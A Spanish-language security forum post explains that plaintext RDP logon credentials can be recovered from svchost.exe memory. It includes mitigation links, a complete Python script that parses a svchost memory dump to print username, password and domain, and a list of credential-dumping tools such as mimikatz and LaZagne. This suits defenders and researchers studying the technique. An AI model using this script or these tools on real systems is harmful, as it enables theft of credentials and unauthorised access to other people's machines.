Extraer credenciales RDP en memoria de svchost.exe

Iniciado por el-brujo, 18 Mayo 2021, 12:38 PM

0 Miembros y 1 Visitante están viendo este tema.

el-brujo

Es posible extraer credenciales (usuario y contraseña) de inicio de sesión en texto plano en Windows escritorio remoto (RDP) del proceso de svchost.exe

Así lo ha descubierto el investigador Jonas, famoso recientemente por descubrir dos bugs (errores) en el sistema de archivos NTFS

Error en Windows 10 corrompe tu disco duro al ver el ícono un archivo
https://blog.elhacker.net/2021/01/error-en-windows-10-corrompe-su-disco-NTFS-i30-bitmap-icon-archivo-comando.html


Una simple búsqueda de cadena dentro de la memoria del proceso para svchost.exe revela la contraseña de texto sin formato que se utilizó para conectarse al sistema a través de RDP.

- La contraseña de texto sin formato está presente. La mayoría de los sistemas Windows modernos ya no tienen wdigest habilitado, por lo que encontrar credenciales de texto sin formato en la memoria es mucho más raro.
- La contraseña está en svchost.exe, a diferencia de lsass.exe. Esto significa que es posible que las herramientas defensivas para detectar / evitar el volcado de contraseñas de la memoria no puedan detectar esto.

Probé esto varias veces, así como muchas otras, y hasta ahora he observado lo siguiente:

- Esto parece funcionar en Windows 10, Windows Sever 2016, Windows Server 2012. Probablemente también en otros, pero hasta ahora lo he visto exitoso contra ellos.
- Según el autor del tweet y otros evaluadores, parece funcionar para cuentas locales y de dominio.
- No parece ser consistente. A veces, la contraseña está ahí, a veces no. No sé exactamente por qué es así. Parece existir en la memoria durante un largo período de tiempo, pero se desconoce cuánto tiempo.


Encuentra el proceso correcto. He visto algunas formas de hacerlo.

   Utilizando la herramienta Process Hacker 2. Ves a la pestaña Red y busca el proceso que tiene una conexión RDP. Esto solo funciona si la conexión RDP aún está activa.




Visto en:
https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

El creador de la conocida herramienta mimikatz ha añadido recientemente la funcionalidad:



[youtube=640,360]https://www.youtube.com/watch?v=coBANSJhJnE[/youtube]

2.2.0 20210517 Terminal Server Passwords
https://github.com/gentilkiwi/mimikatz/releases

Mitigaciones:

Protect Remote Desktop credentials with Windows Defender Remote Credential Guard
https://docs.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard

Windows Defender Credential Guard: Requirements
https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-requirements


Script Python
RDP_clear.py
https://gist.github.com/k4nfr3/ca2c392572da645661b62f9a71f28ba3

Código (python) [Seleccionar]
import re
from collections import namedtuple
import sys

# Clear text password recovery from mem dump as found by @jonasLyk Tweet : https://twitter.com/jonasLyk/status/1393058962942083076
# borrowed python code from Willi Ballenthin -> https://gist.github.com/williballenthin/8e3913358a7996eab9b96bd57fc59df2
# code inspired by  @gentilkiwi 's video
# This is for those who like me wanted to play with this discovery a little and dirty python3 script while waiting to see another module in the great mimikatz tool
# I'm no dev so PR and constructive remarks are welcome


ASCII_BYTE = rb" !\"#\$%&\'\(\)\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}\\\~\t"

RDP_Strings = ['RDPDD', 'RDV::RDP::NetDetect::BandwidthChange']  #Server 2008 and Server 2016 tested only

String = namedtuple("String", ["s", "offset"])


def ascii_strings(buf, n=4):
   reg = rb"([%s]{%d,})" % (ASCII_BYTE, n)
   ascii_re = re.compile(reg)
   for match in ascii_re.finditer(buf):
       yield String(match.group().decode("ascii"), match.start())

def unicode_strings(buf, n=4):
   reg = rb"((?:[%s]\x00){%d,})" % (ASCII_BYTE, n)
   uni_re = re.compile(reg)
   for match in uni_re.finditer(buf):
       try:
           yield String(match.group().decode("utf-16"), match.start())
       except UnicodeDecodeError:
           pass


def getdomain(buf):
   return buf.decode("UTF-16)")

def banner():
   print(' _____ ____  _____           _             ')
   print('| __  |    \|  _  |      ___| |___ ___ ___ ')
   print('|    -|  |  |   __|     |  _| | -_| .\'|  _|')
   print('|__|__|____/|__|   _____|___|_|___|__,|_|  ')
   print('                  |_____|                  ')



def main():
   import sys

   SVCHOST = False
   Last1 = ""
   Last2 = ""
   Last3 = ""
   SERVERNAME=""
   with open(sys.argv[1], 'rb') as f:
       b = f.read()

   for s in ascii_strings(b, n=4):
       if format(s.s).find("svchost.exe -k termsvcs")!=-1:
           print('[*] Analyse of dump of process : {:s}'.format( s.s))
           SVCHOST = True
       if format(s.s).find("COMPUTERNAME=")!=-1:
           #print('[+] SERVERNAME : ' +s.s[13:])
           SERVERNAME=s.s[13:]
           break

   if (SVCHOST):
       print("\n")
       for s in unicode_strings(b):
           #print('[+] {:d} 0x{:d}: {:s}'.format(0,s.offset, s.s))

           if s.s in RDP_Strings:
               if (s.offset - Last1.offset) < 3000:
                   if (Last1.offset-Last2.offset==512):
                       #print('[+] User :{:d} 0x{:d}: {:s}'.format((s.offset - Last2.offset), Last2.offset, Last2.s))
                       print('[+] User : \t{:s}'.format(Last2.s))
                       #print('[+] Password : {:d} 0x{:d}: {:s}'.format((s.offset - Last1.offset), Last1.offset, Last1.s))
                       print('[+] Password : \t{:s}'.format(Last1.s))
                       if ((Last2.offset-Last3.offset) == 512) :
                           print('[+] Domain : \t{:d} 0x{:d}: {:s}'.format((s.offset - Last3.offset), Last3.offset, Last3.s))
                           break
                       else:
                           # bug in case string is less than 4 char
                           domain = b[Last2.offset-512:Last2.offset]
                           if getdomain(domain).strip('\x00')!="":
                               print('[+] Domain : \t{:s}'.format(getdomain(domain)))
                           else:  # can be empty, then it's local
                               print("[+] ServerName : \t"+SERVERNAME)
                           break

           Last3=Last2
           Last2=Last1
           Last1=s

   else:
       print(sys.argv[1] + " doesn't seem to be a svchost dump file")


if __name__ == "__main__":
   banner()
   if len(sys.argv) != 2:
       print("\n\nDump svchost process which listens to port 3389 port with any procdump tool")
       print("")
       print("Usage: " + sys.argv[0] + " svchost.dmp")
       exit(0)
   main()


Otras herramientas extracción credenciales en Windows

- mimikatz https://github.com/gentilkiwi/mimikatz
- Proyecto LaZagne https://github.com/AlessandroZ/LaZagne/
- Pypykatz (mimikatz) en Python https://github.com/skelsec/pypykatz
- Nishang (PowerShell) https://github.com/samratashok/nishang
- CrackMapExec CME https://github.com/byt3bl33d3r/CrackMapExec